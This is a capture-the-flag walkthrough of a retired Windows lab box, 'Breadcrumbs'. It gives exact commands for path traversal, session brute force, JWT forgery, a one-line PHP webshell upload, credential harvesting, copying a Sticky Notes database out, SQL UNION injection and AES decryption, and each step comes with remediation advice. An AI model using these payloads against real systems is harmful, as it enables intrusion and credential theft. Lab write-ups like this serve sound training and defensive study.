← all walkthroughs

Breadcrumbs

Windows· Hard· Web
owned
2026-07-11
time to own
12m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

My found a PHP 'Library' web application on port 80 whose book-lookup feature passed a caller-supplied filename directly to the filesystem without sanitization, enabling arbitrary file reads including the application's own PHP source. Source review exposed two compounding weaknesses: a deterministic session-ID formula (hardcoded salt plus a single character of the username) and a hardcoded HS256 JWT signing secret embedded in a controller file. These together let me compute all valid PHP sessions for user 'paul' in seconds and forge a matching signed JWT, bypassing the upload portal's authentication.

The upload endpoint imposed no extension or content-type filtering, so a one-line PHP webshell landed in the public uploads directory and delivered unauthenticated remote code execution as the web service account. Via the webshell, a credential file stored inside the web root revealed juliette's SSH password, providing an interactive shell and the user flag. From juliette's session, I pulled a Sticky Notes SQLite database that stored the 'development' account's password in plaintext as a note.

The development account held a Linux ELF utility that communicated with a localhost-only password-manager API whose SQL query concatenated a caller-supplied table name without sanitization, making it UNION-injectable. The resulting base64 ciphertext, decrypted with the AES key the same utility prints when queried legitimately, recovered the Administrator password, yielding full system control via SSH.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD10="<a-password-you-choose>"
export PASSWORD11="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"
export PASSWORD5="<a-password-you-choose>"
export PASSWORD6="<a-password-you-choose>"
export PASSWORD7="<a-password-you-choose>"
export PASSWORD8="<a-password-you-choose>"
export PASSWORD9="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationService and directory enumeration (T1595.002, T1083)
Mapped services and discovered the PHP Library portal and upload paths
A port scan identified Apache 2.4.46 (Win64) with PHP 8.0.1 on port 80. Directory enumeration revealed /portal hosting a login page, an uploads directory, and PHP controllers including bookController.php, cookie.php, files.php, and fileController.php. The main site exposed a book-lookup pop-up that POSTed a caller-supplied 'book' filename to includes/bookController.php, flagging it for traversal testing.
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1 confirmed via response header; /portal and controller paths discovered during content enumeration.
Exact commands 2
Identify open services and banners.
nmap -Pn -sV -p 22,80,135,139,443,445,3306 $TARGET
Discover /portal, /books, and PHP controller paths.
gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 40
2ExploitationPath Traversal / Local File Read (CWE-22, T1083)
Read application source code via path traversal in the book-lookup parameter
The book= parameter in bookController.php was passed to a PHP file-read function with no sanitization, enabling directory traversal outside the books directory. After confirming the bug by reading win.ini, my read the portal's own PHP source files: cookie.php, authController.php, files.php, and fileController.php. This leaked the session-ID generation algorithm, the upload endpoint logic, and a hardcoded JWT signing secret.
POST with book=../../../../../../Windows/win.ini returned Windows INI content; subsequent reads returned PHP source for cookie.php and fileController.php including the hardcoded JWT secret.
Exact commands 3
Confirm path traversal is exploitable.
curl -ksS -X POST "http://$TARGET/includes/bookController.php" --data-urlencode 'book=..\..\..\..\..\..\Windows\win.ini' -d 'method=1'
Read cookie.php to learn the PHPSESSID generation algorithm.
curl -ksS -X POST "http://$TARGET/includes/bookController.php" --data-urlencode 'book=../portal/php/cookie.php' -d 'method=1'
Read fileController.php to extract the hardcoded JWT secret and upload validation logic.
curl -ksS -X POST "http://$TARGET/includes/bookController.php" --data-urlencode 'book=../portal/includes/fileController.php' -d 'method=1'
FixSanitize file-path inputs in the book-lookup feature to prevent directory traversalCritical
WeaknessThe book= parameter in bookController.php was passed to a PHP file-read function without stripping traversal sequences (../ and ..\ ), letting an unauthenticated caller read any file accessible to the web-server process, including the application's own PHP source code.
FixResolve the caller-supplied value to a canonical absolute path using PHP's realpath() and confirm the result falls within the designated books directory before opening it. Reject any request where the resolved path escapes that directory with an HTTP 400. Prefer serving book content by database ID rather than by raw filename so the filesystem is never directly addressed by user input.
3ExploitationPredictable / Brute-Forceable Session Token (CWE-330, T1539)
Brute-forced a valid PHP session ID for user 'paul' using the leaked session algorithm
Cookie.php built PHPSESSID as: username + md5('[REDACTED: recovered credential]' + <one character of username> + '[REDACTED: recovered credential]'). For the username 'paul', this yields exactly four candidate session IDs, one per character. I computed all four and tested each against portal/php/files.php, which requires the session owner to be 'paul'; a non-302 response identified the valid session: [REDACTED: recovered credential]
Four candidates computed; HTTP 200 on [REDACTED: recovered credential] against portal/php/files.php confirmed the valid session.
Exact commands 2
Compute all 4 candidate session IDs for 'paul' and print them.
python3 -c "import hashlib; u='paul'; [print(u+hashlib.md5(('$PASSWORD9'+c+'$PASSWORD11').encode()).hexdigest()) for c in u]"
Test each candidate; a 200 (not 302) identifies the valid session.
for sid in $PASSWORD2 $PASSWORD5 $PASSWORD3 $PASSWORD4; do echo -n "$sid: "; curl -ksS -o /dev/null -w '%{http_code}' -H "Cookie: PHPSESSID=$sid" "http://$TARGET/portal/php/files.php"; echo; done
FixReplace the deterministic session-ID algorithm with a cryptographically random tokenCritical
WeaknessPHPSESSID was constructed from the username plus an MD5 hash of a hardcoded salt and a single character of the username, yielding at most as many candidates as there are characters in the name. Anyone who knew the target username could enumerate every valid session in a single small loop with no rate limit.
FixRemove the custom makesession() function entirely and rely on PHP's built-in session_start(), which generates a 128-bit cryptographically random session ID. Set session.cookie_httponly=1, session.cookie_secure=1, and session.use_strict_mode=1 in php.ini. Invalidate all existing sessions immediately.
4ExploitationJWT Forgery via Hardcoded Secret (CWE-798, T1552.001)
Forged a signed JWT using the hardcoded secret found in source code
FileController.php also required a 'token' cookie containing an HS256-signed JWT with the claim data.username=paul. The signing secret ([REDACTED: recovered credential]) was hardcoded as a PHP constant in the source file read in step 2. I generated a valid, correctly-signed JWT in seconds using PyJWT with no server interaction.
JWT constant extracted verbatim from fileController.php source; forged token accepted by the upload endpoint in step 5.
Exact commands 1
Requires PyJWT (pip install pyjwt). Outputs the forged token to set as the 'token' cookie.
python3 -c "import jwt; secret='$PASSWORD'; print(jwt.encode({'data':{'username':'paul'}}, secret, algorithm='HS256'))"
FixRemove hardcoded JWT secrets from source code and store them in environment variablesHigh
WeaknessThe HS256 signing secret used to validate JWT 'token' cookies was hardcoded as a PHP constant in fileController.php. Once source code was readable via path traversal, the secret was immediately recovered, letting an unauthorised user mint arbitrarily-privileged tokens with no server interaction.
FixStore the JWT secret in an environment variable or a secrets manager (HashiCorp Vault, AWS Secrets Manager, or a .env file outside the document root that is never committed). Generate a new cryptographically-random secret of at least 256 bits and rotate it immediately. Treat every token issued under the old secret as compromised. Enforce exp and iss claims to limit token lifetime and scope.
5ExploitationUnrestricted File Upload leading to Remote Code Execution (CWE-434, T1505.003)
Uploaded a PHP webshell through the unrestricted file upload endpoint
With both authentication cookies in hand (the brute-forced PHPSESSID and the forged JWT), I POSTed a one-line PHP webshell as shell.php to includes/fileController.php. The controller applied no extension whitelist, MIME-type check, or magic-byte inspection, so the file landed at portal/uploads/shell.php. Any subsequent GET request to that path with a command parameter executed arbitrary OS commands as the Apache service account.
Curl -ksS -I http://$TARGET/portal/uploads/shell.php returned HTTP/1.1 200 OK; a 'type' command via the shell returned juliette.json contents.
Exact commands 3
Create the one-line PHP webshell locally.
echo '<?=`$_GET[0]`?>' > /tmp/shell.php
Replace <JWT_FROM_STEP4> with the forged token. No extension or type check is enforced.
curl -ksS -X POST "http://$TARGET/includes/fileController.php" -H "Cookie: PHPSESSID=$PASSWORD2; token=<JWT_FROM_STEP4>" -F 'task=shell.php' -F 'file=@/tmp/shell.php;type=text/plain'
Verify RCE; expected output is the Apache service account name.
curl -ksS --get --data-urlencode '0=whoami' "http://$TARGET/portal/uploads/shell.php"
FixEnforce strict file-type validation and disable PHP execution in the upload directoryCritical
WeaknessThe upload endpoint accepted any file without checking the extension, MIME type, or file content, allowing an unauthorised user to upload a PHP script. Because Apache served the uploads directory with PHP enabled, requesting the file executed it with web-server privileges, delivering remote code execution.
FixWhitelist allowed extensions (for example .pdf, .png, .jpg) and validate both the client-reported MIME type and the file's magic bytes using PHP's finfo extension. Rename every uploaded file to a random non-executable name. Store uploads outside the document root or configure the uploads directory with php_admin_flag engine Off in Apache's virtual-host block to prevent execution. Serve files through a controller that sets Content-Disposition: attachment so the browser never interprets the content.
6Lateral MovementCredential Discovery in Insecurely Stored Files (CWE-312, T1552.001)
Harvested juliette's plaintext SSH credentials from a web-accessible JSON data file
With OS command execution via the webshell, my read portal/pizzaDeliveryUserData/juliette.json, a data file stored inside the Apache document root. The file contained a cleartext username and password for juliette ([REDACTED: recovered credential]). These credentials worked directly over Windows OpenSSH, providing an interactive shell as juliette and allowing the user flag to be read from her Desktop.
Webshell returned JSON containing "username":"juliette","password":"[REDACTED: recovered credential]"; sshpass SSH session authenticated and returned user.txt content.
Exact commands 2
Read the credential file via the webshell.
curl -ksS --get --data-urlencode '0=type C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData\juliette.json' "http://$TARGET/portal/uploads/shell.php"
Authenticate over SSH and read the user flag; output is <user.txt>.
sshpass -p '$PASSWORD8' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null juliette@$TARGET 'type C:\Users\juliette\Desktop\user.txt'
FixRemove plaintext credentials from web-accessible directoriesHigh
WeaknesspizzaDeliveryUserData/juliette.json was stored inside the Apache document root and contained a cleartext username and password. Any file-read or code-execution primitive on the web tier gave an unauthorised user immediate access to valid OS-level credentials.
FixCredentials must never reside in the document root or any path the web server can serve. Move user-data files above the web root or into a database protected by access controls. If a JSON data store is operationally necessary, ensure it contains no credential fields and is protected by authentication middleware. Rotate juliette's password immediately and audit all other JSON data files for sensitive content.
7Lateral MovementCredential Discovery from Local Application Data Stores (T1555.003)
Extracted the 'development' account password from juliette's Sticky Notes SQLite database
Juliette's Desktop contained a todo.html file referencing Sticky Notes. Windows Sticky Notes persists all note content in a SQLite database (plum.sqlite) at a well-known AppData path, stored in plaintext with no encryption. My base64-encoded the database and its write-ahead log over SSH, decoded them locally, and queried with sqlite3, recovering the development account password ([REDACTED: recovered credential]) saved as a note. SSH as development confirmed access.
Sqlite3 query on plum.sqlite returned the development password in a Note row; SSH login as development succeeded.
Exact commands 4
Exfiltrate the Sticky Notes database over SSH via base64 encoding.
sshpass -p '$PASSWORD8' ssh -o StrictHostKeyChecking=no juliette@$TARGET "powershell -Command \"[Convert]::ToBase64String([IO.File]::ReadAllBytes(\\\"$env:LOCALAPPDATA\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\LocalState\\plum.sqlite\\\"))\"" | base64 -d > /tmp/plum.sqlite
Also pull the WAL file to capture any uncommitted rows.
sshpass -p '$PASSWORD8' ssh -o StrictHostKeyChecking=no juliette@$TARGET "powershell -Command \"[Convert]::ToBase64String([IO.File]::ReadAllBytes(\\\"$env:LOCALAPPDATA\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\LocalState\\plum.sqlite-wal\\\"))\"" | base64 -d > /tmp/plum.sqlite-wal
Query all note text; the development password ([REDACTED: recovered credential]) appears in a note entry.
sqlite3 /tmp/plum.sqlite "SELECT Text FROM Note"
Confirm SSH access as the development account.
sshpass -p '$PASSWORD10' ssh -o StrictHostKeyChecking=no development@$TARGET 'whoami'
FixProhibit credential storage in Sticky Notes and other plaintext application data storesMedium
WeaknessThe development account's password was saved as a Windows Sticky Note. Sticky Notes persists all note content in plum.sqlite under the user's AppData folder in plaintext with no encryption, so anyone who reaches a preceding user's session can read every note without further authentication or key material.
FixEnforce a policy against storing passwords in notes applications, browser saved-password stores, or unencrypted text files. Require the use of an enterprise password manager that encrypts credentials at rest with master-password or hardware-token protection. Rotate the development account password immediately. Apply Microsoft Credential Guard where supported and tighten ACLs on sensitive AppData paths to the owning account only.
8Privilege EscalationUNION-Based SQL Injection and AES-CBC Credential Decryption (CWE-89, T1555, T1078.002)
Exploited UNION SQL injection in the internal password manager to dump and decrypt the Administrator credential
The development account's home directory contained Krypter_Linux, a 32-bit Linux ELF. Analysis with strings revealed it POSTs method=select&username=administrator&table=passwords to http://passmanager.htb:1234 and prints an AES key; running it after forwarding port 1234 via SSH returned [REDACTED: recovered credential] The internal API concatenated the caller-supplied 'table' parameter directly into SQL with no parameterization, making it UNION-injectable. Injecting 'passwords UNION select password from passwords-- -' dumped a base64-encoded AES-CBC ciphertext for the Administrator account. Decrypting it with the recovered key (treating the first 16 bytes as the IV) yielded the Administrator password ([REDACTED: recovered credential]). SSH as Administrator provided full system access and the root flag.
UNION injection returned base64 ciphertext; Krypter_Linux confirmed key [REDACTED: recovered credential] AES-CBC decryption produced the Administrator password; SSH as Administrator returned root.txt.
Exact commands 7
Copy the ELF binary to my machine for analysis and execution.
sshpass -p '$PASSWORD10' scp -o StrictHostKeyChecking=no development@$TARGET:'C:/Development/Krypter_Linux' /tmp/Krypter_Linux
Static analysis to confirm the API endpoint, POST parameters, and hardcoded host.
strings /tmp/Krypter_Linux | grep -E 'http|POST|passmanager|method|table'
Forward the internal passmanager port to localhost (runs in background).
sshpass -p '$PASSWORD10' ssh -o StrictHostKeyChecking=no -N -L 1234:127.0.0.1:1234 development@$TARGET &
Add the required vhost entry and run Krypter_Linux; it prints the AES key: [REDACTED: recovered credential]
echo '127.0.0.1 passmanager.htb' | sudo tee -a /etc/hosts && chmod +x /tmp/Krypter_Linux && /tmp/Krypter_Linux
UNION-inject the 'table' parameter to dump the base64 AES-CBC ciphertext from the passwords table.
curl -s -H 'Host: passmanager.htb' -d "method=select&username=&table=passwords UNION select password from passwords-- -" http://127.0.0.1:1234/index.php
Requires pycryptodome (pip install pycryptodome). Replace <CIPHERTEXT_FROM_ABOVE> with the dumped value. Decrypts to the Administrator password.
python3 -c "from Crypto.Cipher import AES; import base64; key=b'$PASSWORD7'; ct=base64.b64decode('<CIPHERTEXT_FROM_ABOVE>'); c=AES.new(key,AES.MODE_CBC,iv=ct[:16]); print(c.decrypt(ct[16:]).rstrip(b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f').decode())"
Authenticate as Administrator and read the root flag; output is <root.txt>.
sshpass -p '$PASSWORD6' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null Administrator@$TARGET 'whoami & type C:\Users\Administrator\Desktop\root.txt'
FixParameterize all SQL queries in the internal password-manager API and add authenticationCritical
WeaknessThe passmanager API on port 1234 concatenated the caller-supplied 'table' parameter directly into a SQL query string without sanitization or parameterization. A UNION injection dumped the AES-encrypted Administrator credential. The API also imposed no authentication, meaning any process able to reach port 1234 could query or inject it.
FixUse prepared statements with bound parameters for every query. Table and column names cannot be bound as parameters, so they must come from a fixed allowlist in code, never from user input. Add authentication to the API (at minimum a per-request pre-shared token validated server-side). Restrict the listening socket to 127.0.0.1 and enforce a host-firewall rule so only the intended service account can connect. Rotate the Administrator password and the AES encryption key immediately and re-encrypt stored credentials.

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Exposed services

22/tcp
80/tcp
135/tcp
139/tcp
443/tcp
445/tcp
3306/tcp
5040/tcp
7680/tcp
49664/tcp
49665/tcp
49666/tcp
49667/tcp
49668/tcp
49669/tcp